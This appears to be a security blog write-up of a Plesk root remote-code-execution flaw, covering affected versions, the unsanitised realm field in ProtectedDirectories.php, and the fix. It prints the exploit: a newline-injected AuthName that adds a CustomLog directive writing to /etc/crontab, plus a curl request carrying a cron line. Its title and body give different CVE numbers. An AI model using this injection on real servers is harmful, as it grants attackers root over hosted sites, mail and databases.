CVE-2025-6630 Analysis
CVE-2025-66430, released on December 12, 2025 and discovered by Philip Okhonko, was assigned a CVSS score of 9.1. This vulnerability allows Plesk users with access to Protected Directories to perform remote code execution (RCE) on the server, potentially granting full control over the system, including emails, databases, and other sensitive data.
In this article, I provide an in-depth analysis of the vulnerability, covering the affected versions, the underlying source code responsible, deployed mitigations, potential impact, and a detailed proof-of-concept demonstration.
Plesk Software
Plesk is a web hosting control panel that provides a graphical interface and automation tools to manage websites, servers, and hosting accounts. It allows administrators and users to handle tasks such as domain management, email configuration, security settings, database management, and application deployment without requiring deep command-line knowledge. Plesk is widely used by hosting providers and businesses to simplify server and website administration across Linux and Windows environments.
Affected Versions
All product versions earlier than 18.0.74 were affected by this vulnerability. For versions 18.0.70 through 18.0.72, a corrective patch was issued; however, it required manual application. Consequently, instances running these versions may remain vulnerable if the patch was not explicitly applied. In subsequent releases, specifically versions 18.0.73 and 18.0.74, the fix was incorporated into the automatic update process. These versions included the remediation by default, removing the need for manual intervention. As a result, exposure may vary across deployments depending on the version in use and whether the manual patch was applied in environments running 18.0.70–18.0.72.
Vulnerability Details
Source code analysis
The vulnerability originates from a function within the file ProtectedDirectories.php. The function in question is as follows:
/**
* Get protected directory description
*
* @param ProtDir_Apache $pdir
* @param string $directory
* @param string $prefix
* @return array
*/
private function _getDirectoryDescription(ProtDir_Apache $pdir, $directory, $prefix)
{
return array(
'directory' => rtrim($directory, "/"),
'realm' => $pdir->getRealm(),
'authFile' => $this->_getAuthFile(rtrim($prefix, "/")),
'relativePath' => $pdir->getPath(),
);
}
Exploit Analysis
Creating a Protected Directory affects the Apache httpd.conf configuration for that domain.
This modification is performed by the root user.
Therefore, when a Protected Directory is created, the resulting Apache configuration might look like the example below.
Note that the AuthName field reflects the value specified in the directory title.
<Directory "/var/www/vhosts/test.local/httpdocs/pwned">
AuthType Basic
AuthName "pwned"
AuthUserFile "/var/www/vhosts/system/test.local/pd/d..httpdocs@pwned"
require valid-user
</Directory>
As anticipated, if no sanitization is applied to the value written into the configuration file, this results in a configuration injection performed with root privileges. As observed in the source code, prior to the patch there was no proper sanitization of the user-controlled input written into the configuration. By injecting a newline character, it becomes possible to append arbitrary Apache configuration directives, thereby exploiting the vulnerability.
At this stage, several exploitation paths can be considered. One possible approach is to create a rce.php file and access it to trigger arbitrary command execution. However, this method has a limitation: Plesk creates a dedicated low-privilege system user for each domain. As a result, any executed commands would run under that domain user rather than as root.To achieve remote code execution as root, a more effective approach involves abusing the CustomLog directive to write into the system crontab. By injecting a malicious CustomLog entry, it becomes possible to register arbitrary commands that will later be executed by cron with root privileges. An example of such an injection is shown below:
<Directory "/var/www/vhosts/test.local/httpdocs/pwned">
AuthType Basic
+ AuthName "'#
+ </Directory>
+ CustomLog '/etc/crontab' '%{X-Command}i'
+ <Directory /var/www/vhosts/test.local/httpdocs/private>
+ AuthName FAKE
+ # "
AuthUserFile "/var/www/vhosts/system/test.local/pd/d..httpdocs@pwned"
require valid-user
</Directory>
In this injection, a controlled HTTP header value is used as the content that will ultimately be written into the crontab. After modifying the Apache configuration through the injected directives, a final step is required: sending a crafted HTTP request containing the actual payload that will be included on /etc/crontab file.
curl -H "X-Command: * * * * * echo CVE-2025-66430 >> /tmp/pwned" "http://server/"
Impact
Remote Code Execution (RCE). Any Plesk user with access to the Password-Protected Directories feature could gain root-level access on the server. This vulnerability allows an attacker to gain access to all information on the server. Since Plesk provides a centralized platform for deploying multiple services, including email and databases, the potential impact of such a compromise can be severe.
Mitigation
/**
* Get protected directory description
*
* @param ProtDir_Apache $pdir
* @param string $directory
* @param string $prefix
* @return array
*/
private function _getDirectoryDescription(ProtDir_Apache $pdir, $directory, $prefix)
{
return array(
'directory' => rtrim($directory, "/"),
- 'realm' => $pdir->getRealm(),
+ 'realm' => rtrim(preg_replace('/[^ \t\x21-\x7E\x80-\xFF]|["$]/', '', $pdir->getRealm()), '\\'),
'authFile' => $this->_getAuthFile(rtrim($prefix, "/")),
'relativePath' => $pdir->getPath(),
);
}
The code snippet shown above is not present in the latest versions. While the changes are minor, the current version not only removes the trailing backslash but also strips any backslashes within the Realm. The latest version of the function is shown below:
/**
* Get protected directory description
*
* @param ProtDir_Apache $pdir
* @param string $directory
* @param string $prefix
* @return array
*/
private function _getDirectoryDescription(ProtDir_Apache $pdir, $directory, $prefix)
{
return array(
'directory' => rtrim($directory, "/"),
'realm' => preg_replace(ProtDir_Abstract::REALM_FORBIDDEN_SYMBOLS, '', $pdir->getRealm()),
'authFile' => $this->_getAuthFile(rtrim($prefix, "/")),
'relativePath' => $pdir->getPath(),
);
}
// Defined in ProtDirAbstract.php
public const REALM_FORBIDDEN_SYMBOLS = '/[^ \t\x21-\x7E\x80-\xFF]|["$\\\\]/';
Proof-of-Concept
A proof-of-concept video demonstrating the exploit in a local environment is available below.
Hope you enjoyed it :)
Thanks for reading!